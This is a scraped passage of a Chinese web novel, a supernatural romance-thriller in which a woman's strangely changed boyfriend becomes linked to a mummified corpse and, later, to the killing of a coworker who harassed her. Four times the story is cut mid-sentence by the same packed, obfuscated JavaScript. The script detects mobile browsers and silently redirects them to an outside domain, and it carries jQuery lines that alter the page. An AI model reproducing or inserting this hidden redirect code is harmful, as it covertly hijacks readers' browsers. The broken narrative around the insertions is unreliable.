郁言还是不能理解:“但这怎么可能?如果被撞的真的是贺舒流,那他现在就算没死,也不可能好好地待在我这里吧?” 那个较年轻的警察突然开口:“他有双胞胎兄弟吗?” 郁言摇头:“没有,他是独生子。” 两名警察再次对视。 “那他回来的这几天,有没有什么反常行为?” 什么样的行为算反常行为? 疑似切西瓜切到手,但手上却没有任何伤口——这算是反常行为吗? 郁言想了想,还是摇头:“也没有。他很正常,和以前没什么不同。” 贺舒流已经回来了,无论他现在变成什么样子,她都不想让他和警方扯上关系。 直觉告诉她,这不是什么好事。 “好吧,我们也是想提醒你,他很有可能和这起案子有关,之后我们也会再来跟你们确认一些情况。”警察说,“这段时间你还是要多关注关注他,如果他想起了什么,记得及时告诉我们。” 郁言点点头:“我会的。” “那就这样,先走了。”两名警察看了看虚掩的防盗门,转身向电梯走去。 其实关于黄文轩的案子,他们并没有透露太多。 比如黄文轩临死时穿的外套疑似被人拿走了,又比如黄文轩的尸体非常诡异,不仅被掏空了心脏,还干瘪得像被吸干了血肉一样,比木乃伊还要可怕。 他们想象不到究竟是怎样的作案工具才能做到这种程度。 唯一可以确定的是,这个案子绝对和贺舒流脱不了干系。 接下来一段时间,贺舒流将是他们的重点观察对象。 * 郁言回去了。 贺舒流一直在玄关处等她,她刚一进门,他就像只被抛弃的小狗一样委屈巴巴地凑过来。 “你们聊了好久。” “还好吧?”郁言看了眼时间,“也就几分钟……” 贺舒流跟上她:“所以你真的报警了?” “嗯?”郁言反应了一下,然后点头,“我联系不上你,只能请警察帮忙了。” 贺舒流的眼里浮起笑意:“你果然很担心我。” 郁言:“……” 这家伙又开始了。 她选择直接无视,径直走到沙发前坐下。电影刚开始十几分钟就暂停了,她按下播放键,自顾自地继续看了下去。 沙发柔软下陷,贺舒流在她旁边坐下,也开始和她一起看电影。 这次他没有再勾着她回忆过去,整个人放松地靠在沙发上,被屏幕照亮的侧脸显得安静而投入,有种不真实的虚幻感。 但郁言却投入不进去了。 她又想起警察说的那些话,明明听起来荒谬且毫无逻辑,却又让她忍不住思考。 如果出车祸的那个人真的是贺舒流,那他切破手指却没有留下伤口这件事就很好解释了。 ——因为他有非常惊人的自愈力。 但这太不现实了。 没有人能拥有这么强大的自愈能力,如果真的有,那这个人也脱离了正常人类的范畴。 郁言见过贺舒流受伤的样子。他会流血,也会痛得哼哼唧唧,他正常得不能再正常了,和其他人没有任何区别。 然而她也很清楚,那是“以前”。 现在的贺舒流……郁言想起他那明显异于常人的体温和肤色,突然有些迟疑。 她想了想,对贺舒流说:“把手给我。” 贺舒流正在看电影,听到这个要求,有点迷茫地眨了下眼,但还是顺从照做。 他把右手伸到郁言面前,手指微曲,好奇地问:“怎么了?” 郁言没有回答,把他的手放在自己腿上,认真翻看。 贺舒流的手很漂亮,手指修长,静脉清晰,骨节分明且暗藏隐隐的力量感,如同雕塑般完美无瑕。 这样好看的一双手,如果有伤口出现,无论多么细微,应该都很容易找到才对。 但她看来看去,也没看到一道伤口。 “另一只。” 贺舒流闻言,索性侧过身子,把左手也放到她腿上。 郁言继续查看这只手。为了检查得更仔细、更全面,她还顺着他的手指一寸寸揉捏,连指缝都细细摸索了一遍。 “言言。”贺舒流低声唤她。 郁言没应声,继续认真摸索他的手心。 贺舒流喉结微动一下,忽然手腕一翻,反扣住她的手。 郁言一怔,感觉到有阴影笼罩上来。 “言言……”贺舒流另一只手撑在她腿侧,上身前倾,低头凑近她,“你干嘛一直摸我?” “……”郁言百口莫辩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098947|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然她刚才的确是在摸他,但她完全没有暗示的意思,只是想确认他手上是否有被忽视掉的伤口而已。 问题是,她可以这么解释吗? 郁言想起贺舒流洗手时的反应。他并不承认自己切到手了,也就是说,就算她现在如实说出自己的怀疑,恐怕他也会给出和当时一样的回答。 郁言斟酌几秒,慢慢开口:“刚才那两个警察说……你出车祸了。” 贺舒流愣了一下:“车祸?” “嗯,而且是很严重的车祸。”郁言顿了顿,“你真的出过车祸吗?就在我们吵架的那天晚上。” 原本她想说“分手”,但她怕话题跑偏,于是换成了较为温和的“吵架”。 虽然“吵架”这个行为,本身也不怎么温和就是了。 贺舒流似乎没想到她会问出这么奇怪的问题。 他眨了下眼,微微歪头:“你认为呢?你觉得我出过车祸吗?” 她当然不会认为他出过车祸,毕竟他看起来很健康,去医院也没查出什么问题。 但那两名警察说得言之凿凿,她不觉得他们会特地在这种事上欺骗自己。 郁言一时沉默下来。 屋里弥漫着微妙的寂静,谁都没有说话,只有电影里的恐怖音效还在一惊一乍。 眼皮突然有点痒。 郁言抬起视线,发现贺舒流在轻轻啄吻她的眼睛。 “你还没有回答我的问题……”她抬手想要阻止他。 贺舒流仿若未闻,顺势吻上她的手心,舌尖舔过她的指缝,激起一串细密的酥麻。 郁言的后腰有些发软。 她想抽回手,却被贺舒流握住手腕。他低头凝视她,漆黑纯粹的瞳孔像泥沼般幽深、黏稠,屏幕透出的荧光在他眼底浮晃,折射出斑驳陆离的光彩。 “我没有出过车祸,也不知道那两个警察为什么找上我。” 他轻轻出声,眼底倒映出她的面孔:“言言,你会相信我吗?” 郁言对上他的目光,如同在看一片深不见底的漩涡。 她会相信他吗? 她当然愿意相信他。 但他这种微妙的反应,反而让她产生了怀疑。 那天夜里究竟发生了什么? 他真的没有出过车祸吗?他真的什么都不知道吗? 怀疑就像滴在纸上的墨点,一旦存在,就不会被轻易消除。 然而即便如此,郁言也不想再探究下去了。 反正他们迟早是要分手的。 只要他现在是正常的、稳定的,无论以后会变成什么样,都与她无关了。 “我相信你。” 她直视他的眼睛,平静回答。 11. 第 11 章 贺舒流听到郁言的回答,瞳孔像猫一样微微收缩,然后弯起好看的弧度。 “我就知道。”他满足地叹息,轻轻蹭蹭她的脸颊,“我就知道你会相信我……” 这家伙怎么这么好骗。 郁言有点想笑,心底又有种奇异的空旷感。 她抬手抚上贺舒流的脸,以此来消除这种奇怪的感觉。 贺舒流似乎被她摸得很舒服。 “言言,”他低头吻了吻郁言的鼻尖,声音多了一丝哑意,“再摸摸我。” 郁言脸上有点发热。 她小声问:“摸哪里?” “哪里都可以。” 倒是很好满足…… 郁言抬起手,试探性地抚上他的后腰。 她的指尖刚碰到他的肌肤,他就像触电似的挺直腰腹,整个人微微下压,又往她的方向前倾了些。 ——这是喜欢的意思。 郁言心下了然,撩起他的衣摆,露出一截苍白劲瘦的窄腰,继续往上探索。 贺舒流开始吻她的脸颊、耳垂、嘴角。他吻得很细密,嘴唇柔软而微凉,带一点西瓜的清甜,像标记一样印满她的身体。 郁言顺着他的背肌走向继续向上摸。 不得不说,虽然他现在体温低得不正常,但在这种季节,抱起来反而比正常体温时更舒服、手感也更好。 不知道冬天抱着会是什么感觉。 郁言并没有意识到自己想得已经有点远了。她的手指正在一点点向上攀升,脖子忽然被贺舒流轻咬一下。 “往下。”他贴着她脖颈,黏糊糊地提醒。 往下?他还想往哪儿下? 郁言指尖微颤一下,陡然恢复清醒:“医生不是说你体虚吗?你给我好好休息,不要想这些有的没的。” 贺舒流顺着她的脖颈继续吻下去:“医生也说了,做这种事没有影响……“ “我才不信。”郁言一把推开他,从沙发上站起来。 贺舒流被她推得仰倒在沙发上,宽松的衣摆随之掀起,腰腹上紧实的肌肉线条若隐若现。 “言言……”他可怜巴巴地看着她,一副你不同意我就哭出来的样子。 郁言眼神冷酷:“再纠缠今晚不准和我睡一起。” 贺舒流立即安静了。 郁言端起西瓜,决然地转身走进卧室。 贺舒流煎熬地躺在沙发上,无奈地看着天花板,忍不住长长叹气,用只有他一个人才能听到的音量小声抱怨。 “早知道就不说什么体虚了……” * 接下来的几天,过得还算安稳。 警察没有再来找过贺舒流,贺舒流也没有再出现其他病症,这让郁言暗暗松了口气。 她开始考虑如何推进分手这件事。 就像她和宋佳宁说的那样,这次她会采用温和的手段,尽量降低贺舒流对分手的抵触心理。 第一步,就是让贺舒流调整自己生活重心,不要一心一意扑在她身上。 贺舒流和她不同,他比她小两岁,今年硕士刚毕业,和她同居后就一直在家照顾她、围着她打转,至今还没真正工作过。 其实以他的学历,想要找份不错的工作还是比较容易的。但他对那些工作都不感兴趣,再加上家底丰厚,郁言也就没管过这件事。 但郁言现在觉得,还是应该让他找一份工作。不是为了赚钱——毕竟他根本不缺钱,而是为了转移注意力,结识新的朋友和社交圈,充实自己的生活。 等他适应了新生活,放在她身上的心思自然就会变少。如果恰巧碰到一个更合心意的女孩子,就此和她分手也不是不可能…… 郁言越想越觉得这个主意很好,当晚就跟贺舒流提了一下。 “找工作?”贺舒流剥了只虾放到她碗里,“你希望我去工作吗?” “不是我希望,是我觉得,你需要一份工作。”郁言一本正经地说,“长期不工作的话,会跟社会脱节的。” “这样啊……”贺舒流若有所思,“那你希望我找什么工作?” “什么工作都可以?”郁言说,“挑你喜欢的就好。” 贺舒流看了她一眼,饶有兴致地问:“那我可以去你的公司工作吗?” “不可以。”郁言立刻否决,又怕他多想,于是补充一句,“我们公司禁止办公室恋情,而且最近也没有招聘的消息。” “好吧。”贺舒流似乎很遗憾,然后继续专心剥虾。 郁言也不知道他有没有听进去。 如果他真的很想去她们公司上班的话……帮他打听一下也不是不行? 反正跟她不在一个部门就可以了吧? 郁言决定明天去人事部问问看。 第二天,她拿上买好的咖啡,刚要转进电梯,林让就从对面走了过来。 怎么又碰到这个神经病了? 郁言对他的印象很不好,转身就走。 然而林让却主动叫住了她:“郁言!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098948|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郁言:“……” 人来人往的,她也不好装没听见,只能扭头挤出营业性假笑:“是你啊,有事吗?” “还是上次跟你说的那件事,你现在有空吗?”林让表情很诚恳,“不会耽误你休息的,一会儿就好。” 真是好麻烦的一个人…… 郁言暗暗叹气,不太情愿地说:“好吧。” 她跟着林让回到他的工位,现在是午饭时间,周围人很少,林让殷勤地拖来椅子让她坐下,自己又去拿了一些小零食过来。 “谢谢,我不饿。”郁言摆摆手,语气礼貌而疏离,“你想问什么问题,快说吧,我待会儿还有事。” 林让看了看四周,确定没有人注意到他们,这才压低嗓子道:“我知道你最近在苦恼什么。” 郁言蹙眉:“我没懂你什么意思。” “你想跟你男朋友分手,但他一直纠缠你,你不知道该怎么甩掉他,对吗?”林让一副善解人意的表情,“不好意思,那天我凑巧听到你打电话了。” 郁言的眉头拧得更深了。 她完全没想到自己打个电话都会被偷听,还会被人用这种方式说出来。 所以根本就没有什么工作上的问题,所谓的请教只是他用来接近她的幌子? 他究竟在打什么主意? 郁言神色不悦:“这跟你没关系吧?” “理论上是跟我没关系,但我可以帮你。”林让一脸真诚,“你别担心,我完全没有趁火打劫的意思,只是对你这种境况比较感同身受,也很能理解你的难处……” “不好意思,我没有难处,也不需要你的帮助。”郁言冷冷打断他,“这是我和我男朋友两个人的事,不需要外人插手,况且我跟你也不熟。” “麻烦以后不要再找我了,谢谢。” 说完,她不顾林让的阻拦,起身离开。 不远处几个同事听到这边的动静,纷纷朝林让投来探究的目光。 林让尴尬地朝他们笑笑,想追郁言又不敢追,只好若无其事地坐了回去。 再看向桌上的小零食,只觉得耻辱至极。 这个姓郁的真是不识好歹,都是一个部门的同事,自己好心帮她,她不领情也就算了,说话还这么刻薄,一点面子都不给他留…… 林让越想越上火,一把抓起手边的废纸揉成一团,狠狠扔了出去。 既然给脸不要脸,那就别怪他不客气。 他保证,她很快就会后悔的。 12.第 12 章 郁言不爽地回到工位上,刚要跟宋佳宁吐槽这件事,手机便跳出一条未读消息。 是贺舒流发来的。 【我找到工作了。】 这么快??? 郁言震惊地连发三个问号。 【什么工作?】 【模特。】贺舒流秒回,【我把照片发过去,他们就给我发了签约offer】 郁言:“……” 他还真会找工作。 【那你什么时候开始上班?】 【下周吧。】 过了几秒,贺舒流又发来一条消息。 【这个工作,你喜欢吗?】 是他去工作,干嘛问她喜不喜欢? 郁言在对话框回复“你喜欢就好”,但想了想又删掉了,改成“喜欢”发出去。 贺舒流发了个小狗心花怒放的表情包。 郁言看着这张可可爱爱的表情包,在林让那里积攒的怒气像松开的气球一样,突然就消散了。 她的大脑里莫名冒出一个疑问——贺舒流找的这个模特工作,是正经模特吗? 下班回家后,郁言向贺舒流求证了这一点。 得到的回答是,确实是正经模特,而且还是什么业内有名的大公司,福利很好,工作环境也没的说。 郁言总算放心了。 周末刮台风,郁言几乎没有出门,一直和贺舒流窝在家里。 黄文轩的案子上新闻了,她刷到随便看了几眼,发现热度还挺高。 原来是警方公布了这个黄文轩的死状,虽然打了马赛克,但原图被人粗略还原了一下,像放了很久的木乃伊,这才会引起网络热议。 网上的议论主要分两种,一种猜测凶手可能是深山里的不知名野兽,一种猜测凶手可能是像汉尼拔那样的变态杀人狂。 汉尼拔…… 郁言很佩服这些人的想象力。 但不管怎么说,看看他们的讨论也挺有意思。 就这样躺了两天,到了周一,贺舒流去模特公司谈线下签约,郁言回去继续上班。 一走近工位,她就觉得气氛不太对。 周围同事看她的眼神都怪怪的,就连领导陈菲菲也是,甚至还有点揶揄的意思。 是周末发生了什么她不知道的事吗? 郁言暗自疑惑,没过多久,坐在对面的同事探头过来跟她搭话。 “听说你对林让有意思呀,真的假的?” “什么?”郁言一脸匪夷所思,“我对林让?这谁说的,怎么不说我是他妈?” 同事惊奇地瞪大眼。 要知道郁言平时一向很温和,从来没见她生过气,也没听她说过脏话,今天居然会爆出这么一句。 “不知道谁说的,反正大家传得有鼻子有眼的,还说你上周约了林让单独见面呢!”同事小心翼翼地问,“真有这回事吗?” “当然没有。”郁言立即否认,脸色很不好看。 是谁传的这些谣言? 是那天偷看她和林让谈话的那几个人吗?还是林让自己? 郁言拿起手机,从工作群里找到林让,给他发了条私聊信息。 【那些谣言是怎么回事?】 过了几分钟,林让回复了。 【什么谣言?】 【不用装傻,都传到我这里了,你不可能不知道。】 郁言停顿一下,又发了一条。 【不管是不是你干的,麻烦你澄清一下。】 又过了几分钟,对话框亮了。 【你太敏感了吧?我打听了下,人家只是说我们上周见面了而已,这也是事实,有什么好澄清的?】 【而且我跟你又不熟,你凭什么对我指手画脚?】 郁言深吸一口气,将怒火强行压下去。 如果说刚才她还不能完全确定,那么这两条信息一出,就可以证实传谣的人的确是林让了。 他是在故意报复她。 郁言盯着手机屏幕看了几秒,果断锁屏。 流言止于智者,她要是真的因此破防,反倒遂了林让的意。 没凭没据的谣言而已,他爱怎么传就怎么传,等他没招了再说。 郁言没再搭理那些八卦的目光,有人来问也只简短地回一句“没有的事”,之后便一心投入工作。 * 下班到家,贺舒流像往常一样在玄关等她。 郁言闻到饭菜的香味,有点意外:“你不是去签约了吗?这么早就回来了?” “第一天没什么事。”贺舒流随意地说,“而且我签的是兼职,不用每天都去。” “兼职?”郁言好奇道,“那工作机会多吗?” “不知道,看安排吧。”贺舒流凑近她,眨了下眼,“你今天很累么?” 郁言一愣:“还好。” 他也太敏锐了,连这都能看出来。 “我出了一身汗,先去洗澡。” 郁言不想让他知道班上那些糟心事,放下手机便直接进了浴室。 贺舒流看着她走进浴室,关上门,很快传出哗啦啦的水流声。 他能感觉到,她在刻意回避他。 为什么?是对他找的这份工作不满意吗? 还是他又做了什么让她不愉快的事? 贺舒流不喜欢这种感觉。 退让、回避、隐隐的距离感。 会让他想起他们吵架的那天晚上,郁言对他也是这种态度,之后便毫不犹豫地赶走了他。 心里的不安逐渐扩大,贺舒流垂敛眼睫静静站着,不确定要如何消除这种负面、不适的情绪。 这时,郁言的手机突然亮了两下。 他扫了一眼。 有两条新消息,都是【林让】发来的。 他记得这个名字。 上次郁言和他吵架,就是因为这个人。 之前在公司大厅拦住郁言的,也是这个人。 原来他私下也会骚扰言言么? 贺舒流轻点手机屏幕,解锁成功,聊天界面自动跳转出来。 他和郁言都录入了对方的指纹,可以随意打开彼此的手机。 聊天界面上,备注为林让的人还在输入。 【怎么样?知道对我摆脸色是什么下场了吗?】 【别以为你澄清了就没事了。从明天起,版本还会继续升级,我看大家是会信你,还是信我】 【识相点,就自己带着诚意来找我】 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105625|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方估计是怕这边截图,很快就把这几条消息都撤回了。 但贺舒流还是看到了。 一瞬间,他明白了郁言刚才的反常从何而来。 不是因为他,而是因为这个【林让】。 心底的不安顷刻消失,取而代之的,是对骚扰之人无尽的厌烦与恶意。 ——没完没了。 如果不尽快解决,这种人会像蟑螂一样一直猖獗下去吧? 浴室里的水声尚未停止。 看着屏幕上的撤回提示,贺舒流平静地输入回复。 【可以。】 【时间我来定。】 * 郁言洗完澡出来,发现贺舒流已经盛好饭了。 她走到餐桌前坐下,从贺舒流手里接过筷子:“以后你要上班了,我们晚上就点外卖吧。” 贺舒流弯起眼睛笑道:“好啊。” 今天怎么这么听话? 郁言意外地看了他一眼,正要说点什么,手机突然亮了一下。 她顺手拿起手机查看,贺舒流神色不变地瞥了一眼,语气随意:“谁?” “陈菲菲。明天开会,还特地通知我们早半小时到。” 郁言一边用抱怨的语气回答,一边翻看聊天记录,突然“嗯?”了一声。 这个林让又给她发了什么?怎么还撤回了? 郁言有点奇怪,但也不想问回去。 反正肯定不是什么好事,直接无视就行了。 “怎么了?”贺舒流好奇地问。 “没什么。”郁言直接拉黑林让,然后放下手机,“吃饭吧,明天还要早起,今晚得早点睡才行。” “好。”贺舒流笑了笑,没再多问。 * 深夜,凌晨1点。 黑沉沉的卧室里一片寂静,床上两道人影相拥而眠,呼吸声清浅绵长。 过了一会儿,贺舒流从床上悄然起身。 他弯下腰,在郁言的额头轻点一下,然后帮她盖好被子,无声无息地走出卧室。 漆黑夜色下,陈旧的街道上空无一人。两侧路灯坏了大半,无数飞虫盘旋其上,在地面投落斑驳晦暗的阴影。 林让一个人站在路边,不耐烦地看着手表。 这个郁言怎么回事?自己约了这个时间跟他见面,到现在还不来,不会是故意遛他吧? 他越想越觉得这个可能很大,干脆拿出手机,正要向郁言发起语音通话,身后突然响起一阵脚步声。 不紧不慢,愈来愈近。 可算来了。 林让啧了一声,挂着脸转过身:“怎么才来,这就是你的诚意——” 话音戛然而止,他看着站在面前的人,脸上表情顿时僵住。 在他面前停下的青年身形颀长,神色散漫,黑如浓墨的头发与冷白如雪的肤色形成强烈对比。 明明是站在昏黄的路灯下,整个人却像从黑暗中剥离而出,没有染上一丝暖色,也没有被光线照亮半分。 就连他脚下的阴影,似乎也在悄无声息地扩张。 莫名让人不寒而栗。 “……怎么是你?!”林让目光惊疑。 贺舒流微微歪头,似笑非笑:“又见面了。” 13.第 13 章 林让死了。 郁言一走进公司,就听到了这个惊人的消息。 “据说死得特别惨,连具全尸都没有,现在警察正在上面问话呢!” “什么情况啊?我昨天还看到他了,怎么今天人就没了?” “唉,这谁知道,反正怪吓人的……” 郁言差点以为自己听错了。 林让,死了? 这么突然? 她把东西放好,正想再听一会儿,陈菲菲就走了过来。 “小郁,现在方便吗?”陈菲菲神色沉重,“警察想找你问话……” 郁言微愣:“在哪里?” “就在会议室。” “……知道了,我现在过去。”她很快恢复冷静,拿起手机,起身向会议室的方向走去。 该说是巧合吗?最近她跟警察打交道的次数也太多了。 郁言来到会议室,敲了敲门,在得到示意后,推门走了进去。 “你是郁言?” 坐在会议桌前的警察翻看文件,公事公办的语气让人本能地感到紧张。 不是之前那两个熟悉的警察,看来和之前的凶杀案没有关联。 郁言点点头:“是。” “你和林让是什么关系?”警察抬头看了她一眼。 “普通同事。”郁言说,“说过几次话,不熟。” “是么?”警察目光犀利,“但我们怎么听说,你最近曾多次与他单独见面,还跟他有不清不楚的男女关系?” 已经传到这种程度了么? 郁言神色平静:“那都是林让传播的谣言,我跟他没有任何关系,他倒是想跟我有点关系。” “有证据吗?” 郁言奇怪道:“你们不会看他手机吗?聊天记录应该都很清楚吧,或者调监控也行。” 警察闻言,和旁边的同事对视一眼:“监控我们已经看过了,确实没发现什么问题。至于手机……” 郁言:“手机怎么了?” “林让的手机被销毁了。”警察肃声道,“有人说昨天林让和你私聊过,这是真的吗?” 郁言想了想,从口袋里掏出手机:“我确实和他私聊过,不过只聊了几句。” “这是聊天记录。” 她找到和林让的聊天记录,将手机推到两名警察面前。 对方接过手机仔细翻阅,拍照留存,然后问道:“你说的谣言是什么意思?你和林让之间究竟发生了什么?” 郁言不假思索:“就是字面意思。他在公司里散布我和他的不实谣言,我发现后质问了他,他不承认,之后我就没再和他联系了。” 警察:“他为什么要散布你和他的谣言?是不是你做了什么?” “哪来这么多为什么?”郁言蹙眉,“因为我拒绝了他的纠缠,他恼羞成怒,这种事很难理解吗?” 对面的警察似乎没想到她看着柔柔弱弱的,态度突然变得这么强势,一时被堵得哑口无言。 “抱歉,我们也是想问清楚,绝对没有别的意思。”另一名女警察及时开口,“所以昨天你和林让并没有见过面,对吗?” “没有。”郁言也恢复了平静的语气。 “好的,谢谢你的配合。”女警察将手机还给她。 郁言收起手机,点了下头,起身走出会议室。 * 警方在公司调查了整整一天,作为林让的领导和同事,部门里的每个人都被拉过去审问了一遍。 郁言也被迫听到了不少更详细的内容。 据说林让是一个路人晨跑时发现的,尸体七零八落地堆在路边,脑袋滚到绿化带里,鲜血洒了一地,把那个路人吓得不轻。 那条路没有监控,没人知道他是怎么死的。不过警方已经跟锦绣苑的物业确认过了,林让半夜曾独自离开小区,之后就再也没回来过。 考虑到今天还要提早半小时上班,林让会在半夜出去散心的可能性极低。也就是说,他很可能是和谁约好了那个时间出去,结果惨遭杀害,身首异处。 目前警方的调查方向也集中在林让半夜出门的动机和经过,可惜他的手机已经废了,深更半夜又没有其他目击证人,调查起来会非常困难。 郁言对此并不关心。 林让之前还给她造黄谣,这种人死了就死了,没什么好惋惜的。 不过,这已经是这个月第二起凶杀案了……总觉得最近拂阴市不太安全,以后出门还是小心点比较好。 * 夜幕降临,路上行人川流不息。 郁言跟着定位找到模特公司的办公大楼,跟负责接待的前台小姐打了声招呼,然后被带到贺舒流工作的地方。 她一进门,就被灯光闪得睁不开眼。 “言言?” 贺舒流的声音远远传来,郁言抬手遮住眼帘,朝声音所在的方向望去。 人群中,贺舒流高得很突出,一双眼睛被灯光照得通透晶亮,正直勾勾地盯着她。 大概是拍摄需要,他很少见地穿了一身黑色西服,衬衫纽扣解到第二颗,领带打得很松,禁欲中透出一丝慵懒。 西服并不是完全修身的款式,但在他身上却极为合身,把他的宽肩长腿勾勒得淋漓尽致。 ……还挺好看的。 郁言抿了下唇,在心里对默默无闻的造型师竖起拇指。 “我过去一下。”贺舒流跟聚在周围的工作人员说了一声,便迈开长腿径直走了过来。 “你怎么来了?”他走到郁言面前停下,眼睛亮亮地看着她,“累吗?” “我今天没坐班车,刚好过来看看。”郁言小声问,“你还要继续拍吗?不然我去外面等你?” “不用。”似乎怕她真的出去,贺舒流立即回答,“拍摄已经结束了,你再等我几分钟就好。” “噢……”郁言似懂非懂地点头,“那个是摄影师吗?他好像在叫你。” 贺舒流扭头扫了一眼正在对他招手的摄影师,眼中不耐一闪而逝。 “那我先过去。”他对郁言柔声道。 “嗯。”郁言点点头,在旁边的空凳子上坐了下来。 贺舒流见她并没有出去的打算,这才放心回到影棚前。 那群工作人员立马又围了上去,其中有不少年轻漂亮的女性。贺舒流游刃有余地面对她们,完全没有一点平时冷漠乖张的样子。 原来他会社交,而且可以做得很好。 郁言感到放心之余,又泛起些微酸涩的不适感,不上不下地堵在心口,说不清是什么感觉。 可能是饿了。 她轻轻摩挲手机边缘,收敛思绪,开始搜索附近的餐厅。 贺舒流漫不经心地听着摄影师喋喋不休,目光却一直落在郁言身上。见她低下头,注意力不再集中在这里,他脸上得体的笑意也消失了,脸色瞬间冷下来,不耐烦地扫视对方。 “说完了吗?” “呃?”摄影师被他突如其来的冷脸惊了一下,“说完了,不过我们最好加个联系方式,这样以后也方便……” 话未说完,贺舒流已经头也不回地走开了。 他步伐很快,明确避开所有试图接近他的人,背影充满生人勿近的气息,刚才的礼貌亲和荡然无存。 摄影师整个傻眼。 ……这人怎么回事啊?变脸的速度也太快了吧? * 郁言正在翻看餐厅评分,一只修长干净的手忽然盖住屏幕。 “言言,”贺舒流微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109807|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微俯身,漆黑柔软的发梢在她眼前拂动,“结束了,我们走吧?” “这么快?”郁言抬头,发现他已经换回了自己的衣服。 “快么?”贺舒流眨眼,“我觉得已经很慢了。” 郁言看了看周围,那些工作人员已经散开了,有几个还在偷看他们,凑一起不知在议论什么。 可能是觉得她在这里不合适? 毕竟她不是这里的员工。 郁言没想太多,起身道:“那走吧。” 两人离开公司大楼,没有直接回家,而是去了附近的商场。 据说这里有家海鲜挺好吃的,郁言决定去品鉴一下。 现在正是用餐高峰期,商场里到处都是人。好在郁言想吃的那家海鲜位置多,不需要排队,两人选了个空位坐下,点好餐后,郁言低声对贺舒流说:“我去下洗手间。” 贺舒流很干脆:“我陪你。” “不用啦,你占着座位,我很快就回来。”郁言根本不给他起身的机会,拿起包就走。 贺舒流的目光紧紧跟随着她。 直到走出餐厅,这种强烈的被注视感才彻底消失。 郁言下意识抚了下胸口——这家伙的分离焦虑果然更严重了吧? 她长舒一口气,暂时将这件事抛到脑后,跟着指示牌寻找卫生间。 商场里的卫生间同样人满为患。郁言好不容易从里面出来,正要回海鲜餐厅,两个陌生人突然拦住了她。 “你好,请问你是本地人吗?” 留着大波浪卷发的女性礼貌开口。 郁言细看一眼,对方五官明艳,妆容精致,给人一种很有涵养的感觉。 “算是吧。”郁言说,“有事吗?” “太好了。”卷发美女开心笑道,“是这样的,我和我弟弟是外地来的,对这里完全不了解,你可以告诉我们这附近哪里有环境比较好的酒店吗?” 郁言有点疑惑:“你们没有提前预订?” “有,但这个蠢货不知道怎么没订上,害我白跑一趟,真是蠢到家了。”卷发美女边说边剜了旁边的男人一眼,后者一脸不服,但并没有反驳。 郁言顺着她的目光看向男人。 长得挺帅气的,不过两人看着不太像姐弟,倒更像同龄人。 “抱歉,我也太不了解,你们还是网上查查吧。”郁言道了声歉便准备离开。 “哎,你别走呀!”卷发美女见状连忙拉住她,“我们也不想麻烦你,但我们手机都没电了,要不然我给你钱,借你手机查一下可以吗?” 郁言在心里暗暗叹气。 她并不是乐于助人的人,但对方都这样说了,而且又是个大美女,不借也不好。 她从包里掏出手机:“我不要钱,但我还要吃饭,不能给你查太久。” “谢谢,你真是个人美心善的大好人!”卷发美女十分感激,从她手里接过手机便轻车熟路地打开搜索软件。 以防她乱点,郁言也在旁边看着,跟她一起查找附近的酒店。 卷发美女的弟弟则一直没吭声,目光似有若无地滑向她。 查好酒店后,卷发美女还是很感激,诚恳地对郁言说:“真的太谢谢了,我送你个小礼物吧?” “不用了。”郁言温和一笑,“你们快去订房吧,我也要去吃饭了。” 卷发美女见她这么说,也没再坚持。 她拉着那个沉默的弟弟,笑吟吟地对郁言摆摆手,接着便转身离去。 郁言收回视线,正要转身往餐厅方向走,一道高大挺拔的身影忽然挡在面前。 她抬起眼,贺舒流修长苍白的脖颈映入眼帘。 “言言,”贺舒流眯了眯眼,看着涌动的人潮,“那两人是谁?” 14.第 14 章 他什么时候过来的,自己怎么完全没注意? 郁言怔了怔,说:“不认识,两个路人,外地来的,跟我借手机用一下。” “借手机?”贺舒流狐疑道,“他们为什么跟你借手机?” “看我比较好说话吧……”郁言轻推了下他,“别管他们了,我们快回去吃饭吧,我饿得快走不动了。” 贺舒流闻言,居然还很认真地问她:“那我抱你过去?” “……你正常点。” 